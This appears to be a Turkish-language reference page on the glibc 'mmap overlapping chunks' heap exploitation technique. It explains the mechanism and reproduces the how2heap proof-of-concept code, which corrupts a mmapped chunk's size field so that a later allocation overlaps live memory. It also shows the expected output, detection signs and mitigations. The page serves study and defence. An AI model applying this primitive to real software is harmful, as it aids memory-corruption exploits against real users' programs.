mmap overlapping chunks¶
mmap-backed bir glibc chunk'ının size alanını corrupt et, böylece sonraki bir allocation hâlâ canlı bir mmapped chunk ile overlap olsun ve başka bir object üzerinde attacker-controlled bir görüş versin.
Mechanism¶
Çok büyük request'ler (mp_.mmap_threshold üstü) ana heap'ten servis edilmez. glibc'nin malloc'u bunları kendilerine ait taze bir mmap() region'ı ile karşılar ve dönen chunk, size alanında IS_MMAPPED bit'ini (değer 2) taşır. Böyle bir chunk free edildiğinde glibc onu bir bin'e koymaz; munmap_chunk() çağırır ki bu, munmap()'e geri verilecek base adresini ve uzunluğu hesaplamak için chunk'ın prev_size ve size'ını kullanır.
Sibling ile fark
Klasik overlapping chunks main-arena bir unsorted-bin
chunk'ının size'ını şişirip yeniden malloc ile overlap üretir; orada hiçbir
munmap yoktur. Buradaki variant ise IS_MMAPPED chunk'lara özgüdür: free,
chunk'ı bir bin'e koymak yerine munmap_chunk() çağırır ve corrupt size iki
bitişik mmap bölgesini tek munmap'le serbest bırakır; overlap, address-space'in
taze bir büyük mmap ile yeniden kullanılmasından doğar.
Note
Suistimal edilen invariant şudur: bir mmapped chunk'ın size alanının, orijinal mmap()'in döndürdüğü bölgeyi tam olarak tanımladığına güvenilir. munmap_chunk() yalnızca zayıf bir page-alignment sanity kontrolü yapar; size'ın hâlâ gerçek mapping ile eşleştiğini asla doğrulamaz. Bir mmapped chunk'ın size'ını hem kendisini hem de bitişik bir mmapped chunk'ı kapsayacak şekilde overwrite ederek, sonraki free tek bir çağrıda her iki bölgeyi de munmap'ler. Adres alanı artık serbesttir, dolayısıyla taze büyük bir allocation aynı aralığın üzerine geri mmap'lenir ve programın hâlâ canlı bir object olarak gördüğü bellekle overlap eder.
Walkthrough¶
Bu, glibc 2.31 how2heap proof of concept'i mmap_overlapping_chunks.c'dir. 0x100000 boyutunda üç mmapped chunk allocate edilir; mmapped bölgeler libc'nin altına bitişik yerleştirilir, dolayısıyla chunk 3 tam olarak chunk 2'nin altında durur.
// Allocate three extremely large heap chunks of size 0x100000
uint64_t *mmap_chunk_1 = malloc(0x100000);
uint64_t *mmap_chunk_2 = malloc(0x100000);
uint64_t *mmap_chunk_3 = malloc(0x100000);
Size word'ü, user data'dan bir uint64_t önce yaşar; IS_MMAPPED flag'i bit 1'dir (2). PoC, mmap flag'ini yeniden set ederek chunk 3'ün size'ını chunk 2'yi de kapsayacak şekilde yeniden yazar:
// mmap_chunk_3[-1] is the size field, mmap_chunk_3[-2] is prev_size
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1])
+ (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
Chunk 3'ü free etmek artık birleşik bölgeyi (chunk 2 ve 3) munmap'ler. Ardından yeni bir malloc(0x300000) free edilen adres alanından servis edilir ve chunk 2'nin eskiden bulunduğu yerle overlap eder:
free(mmap_chunk_3); // munmaps chunk_2 AND chunk_3
uint64_t *overlapping_chunk = malloc(0x300000);
int distance = mmap_chunk_2 - overlapping_chunk;
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]); // overlap confirmed
Beklenen çıktı (kısaltılmış)
This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).
Extremely large chunks are special because they are allocated in their own mmaped section
of memory, instead of being put onto the normal heap.
=======================================================
Allocating three extremely large heap chunks of size 0x100000
The first mmap chunk goes directly above LibC: 0x...
The second mmap chunk goes below LibC: 0x...
The third mmap chunk goes below the second mmap chunk: 0x...
Prev Size of third mmap chunk: 0x0
Size of third mmap chunk: 0x101002
Change the size of the third mmap chunk to overlap with the second mmap chunk
Free the third mmap chunk, which munmaps the second and third chunks
Boom! The new chunk has been overlapped with a previous mmaped chunk
Warning
Bu, free edilmeden önce bir mmapped chunk'ın size alanına bir write gerektirir (örn. bitişik bir controlled buffer'dan gelen bir underflow/overflow). Ayrıca ardışık mmapping'lerin tahmin edilebilir, bitişik yerleşimine de bağlıdır; ASLR base'i randomize eder ama saldırının dayandığı şey bitişik büyük mmap'lerin göreli sıralamasıdır.
Detection¶
- Hesaplanan uzunluğu bilinen bir VMA boyutuyla eşleşmeyen bir
munmap_chunk()— hardened bir allocator altında ya da page-table tracing ile gözlemlenebilir. - Heap dump'ları sırasında
IS_MMAPPEDchunk'ları içinsizeile gerçek mapping uzunluğunun çılgınca tutarsız olması.
Mitigation¶
- glibc'nin
munmap_chunk()'ı zaten base/size'ın page alignment'ını kontrol eder; chunk size'ını orijinal kaydedilmiş mapping uzunluğuna karşı doğrulayarak sağlamlaştır. - Önkoşulu engelle: saldırganın bir mmapped chunk'ın metadata'sına ulaşmasını sağlayan lineer overflow/underflow'u durdur.
- mmap chunk uzunluklarını out-of-band saklayan (in-band
sizealanında değil) allocator hardening'i, trusted-size varsayımını tümüyle ortadan kaldırır.